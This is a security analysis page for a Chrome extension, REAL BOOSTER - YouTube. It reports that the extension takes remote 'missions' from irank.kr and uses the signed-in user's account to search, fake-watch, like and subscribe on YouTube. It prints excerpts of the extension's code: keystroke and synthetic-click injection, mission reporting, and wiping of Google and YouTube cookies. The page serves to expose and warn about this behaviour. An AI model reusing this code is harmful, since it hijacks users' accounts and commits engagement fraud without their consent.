Is REAL BOOSTER - YouTube safe?
REAL BOOSTER - YouTube fetches remote 'missions' and auto-searches, watches, likes, and subscribes on YouTube on the user's behalf.
The extension periodically polls a control server (www.irank.kr) for a mission specifying a search keyword and a target video or channel, then simulates human typing to search for it, opens the video, and fakes a watch duration that covers any pre-roll ad. If the user is signed into YouTube, it dispatches synthetic click events to like the video and subscribe to the channel, then reports the outcome back to the server. Between missions it clears YouTube/Google cookies and site storage, signing the user out so the next mission starts from a fresh identity.
Who publishes iteyerank - no other listings under this identity
eyerank - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
REAL BOOSTER runs remote YouTube search, watch, like and subscribe jobs
When you start REAL BOOSTER while signed into YouTube, it fetches a search keyword and target video from irank.kr, types the keyword into the search box, watches the video, then clicks Like and Subscribe without showing you the target.
You click start in the REAL BOOSTER popup while signed into your YouTube/Google account.
The extension fetches a mission from a remote server, then searches, watches, likes and subscribes on your account without showing you the target.
| Field | Value | Why it matters | |
|---|---|---|---|
Search keyword (KW) | wireless earbuds review | Keyword the extension types into your YouTube search bar, one character at a time. | |
Target video ID (VID) | dQw4w9WgXcQ | The YouTube video the extension opens and fake-watches to inflate its view count. | |
Like/Subscribe flags (MYL/MYS) | MYL=1, MYS=1 | Tells the extension whether to also click Like and Subscribe on the target. | |
Device ID (pn) | a1B2c3D4e5F6 | A per-install identifier the extension sends with every mission request. |
Character-by-character search injection and form submit
// Types one character of the C2-supplied keyword into YouTube's own search box
function set_query(query, cur_pos){
var q=query.substr(cur_pos,1); // next character of the mission keyword
var inp=document.getElementsByName('search_query');
inp[0].value=inp[0].value+q; // append it to the search box value
var ev=new Event('input');
inp[0].dispatchEvent(ev); // fire input event so YouTube's JS reacts as if typed
return "1";
}
// Submits the search form once every character has been typed in
function query_submit(){
document.forms['search-form'].submit();
return "OK!";
}// Alarm-driven loop: injects the mission keyword one keystroke per tick, then submits
async function run_setquery() {
chrome.storage.local.get('GB_TID', function(result_TID){
TID = result_TID.GB_TID; // tab ID of the YouTube tab opened for this mission
chrome.storage.local.get('GB_query', function(result_query){
if (result_query.GB_query===undefined){
query = '';
}else{
query=result_query.GB_query; // the C2-supplied keyword (KW)
}
chrome.storage.local.get('GB_cur_pos', function(result_cur_pos){
cur_pos=result_cur_pos.GB_cur_pos; // how many characters typed so far
if (cur_pos<query.length){
// still mid-word: inject the next character into the live YouTube tab
chrome.scripting.executeScript(
{
target: {tabId: TID},
func: set_query,
args: [query, cur_pos],
},
(queryResults) => {
cur_pos++;
chrome.storage.local.set({'GB_cur_pos': cur_pos});
// human-like delay before the next character
chrome.alarms.create('alarm_run_setquery', {when: Date.now() + wait()});
});
} else {
// full keyword typed: submit the search form for the user
chrome.scripting.executeScript(
{
target: {tabId: TID},
func: query_submit,
args: [query],
},
(submitResults) => {
if (submitResults){
_DEBUG_Print('query_submit: ' + submitResults);
scrpage=0;
chrome.storage.local.set({'GB_scrpage': scrpage});
}
});
}
}); /* GB_cur_pos */
}); /* GB_query */
}); /* GB_TID */
}Synthetic clicks on the YouTube Like and Subscribe buttons
// Injected into the YouTube tab; finds the Like button and fakes a real mouse click on it
function set_like(e){
var r='F';
var mc=document.getElementById('menu-container');
if (mc){
var ytbr=mc.getElementsByTagName('ytd-toggle-button-renderer'); // the Like button component
if (0<ytbr.length){
var event1=document.createEvent('MouseEvents');
event1.initEvent('mousedown',true,true);
ytbr[0].dispatchEvent(event1); // synthetic mousedown
var event2=document.createEvent('MouseEvents');
event2.initEvent('click',true,true);
ytbr[0].dispatchEvent(event2); // synthetic click, no real cursor involved
r='T';
}
}
return r;
}// Injected into the YouTube tab; finds the channel's Subscribe button and fakes a click
function set_subscribe(e){
var r='F';
var mc=document.getElementsByTagName('tp-yt-paper-button');
if(mc){
for(var i=0;i<mc.length;i++){
var ele=mc.item(i);
if(ele.getAttribute('noink') === null){
}else{ // the Subscribe button carries a 'noink' attribute
var event1=document.createEvent('MouseEvents');
event1.initEvent('mousedown',true,true);
ele.dispatchEvent(event1);
var event2=document.createEvent('MouseEvents');
event2.initEvent('click',true,true);
ele.dispatchEvent(event2); // synthetic click subscribes the account
r='T';
break;
}
}
}
return r;
}| Field | Value | Why it matters | |
|---|---|---|---|
Search query run (qr) | wireless earbuds review | The exact search phrase the extension typed on your behalf, sent back as proof of completion. | |
Logged in flag (lg) | 1 | Whether you were signed into YouTube/Google when the mission ran. | |
Subscribed flag (sc) | 1 | Whether the synthetic Subscribe click succeeded. | |
Liked flag (lk) | 1 | Whether the synthetic Like click succeeded. | |
Watch time (pt) | 182 | Seconds the video played, used in the operator's fake-engagement billing. | |
Extension ID (id) | mgkfnkdoiiddloaglnbencbmglcbldpn | Your browser's install ID for this extension, sent with every report. |
Cookie, storage and IndexedDB wipe between missions
// Wipes every YouTube and Google cookie, forcing the user out of their signed-in session
function deleteCookies() {
chrome.cookies.getAll({ 'domain': 'youtube.com' }, async function(cookies) {
console.log('startingCookies::', cookies);
for (let i = 0; i < cookies.length; i++) {
await chrome.cookies.remove({'url': 'https://youtube.com', 'name': cookies[i].name}); // deletes each youtube.com cookie
}
const finalCookies = await chrome.cookies.getAll({'domain': 'youtube.com'});
console.log('finalCookies::', finalCookies);
})
chrome.cookies.getAll({ 'domain': 'google.com' }, async function(cookies) {
for (let i = 0; i < cookies.length; i++) {
await chrome.cookies.remove({'url': 'https://google.com', 'name': cookies[i].name}); // deletes the Google account session cookies
}
})
chrome.cookies.getAll({ 'domain': 'google.co.jp' }, async function(cookies) {
for (let i = 0; i < cookies.length; i++) {
await chrome.cookies.remove({'url': 'https://google.co.jp', 'name': cookies[i].name});
}
})
}
// called from init(), alongside clears of sessionStorage, localStorage and IndexedDB,
// and deleteDomainCookies('youtube.com') for a second passStatic analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 0.39.12. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on youtube.com
*://*.youtube.com/
Read and change your data on chaver.net
*://*.chaver.net/
Read and change your data on irank.kr
*://*.irank.kr/
Store data in your browser
storage
See the address and title of every tab you have open
tabs
Act on the current tab, but only after you click the extension
activeTab
Run its own code inside the pages you visit
scripting
Schedule its own background tasks
alarms
Read and change cookies, including the ones that keep you signed in
cookies
Where it sends data
Destinations our analysis observed REAL BOOSTER - YouTube contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.irank.kr
REAL BOOSTER - YouTube sends data to www.irank.kr. No other extension we have analysed sends data here.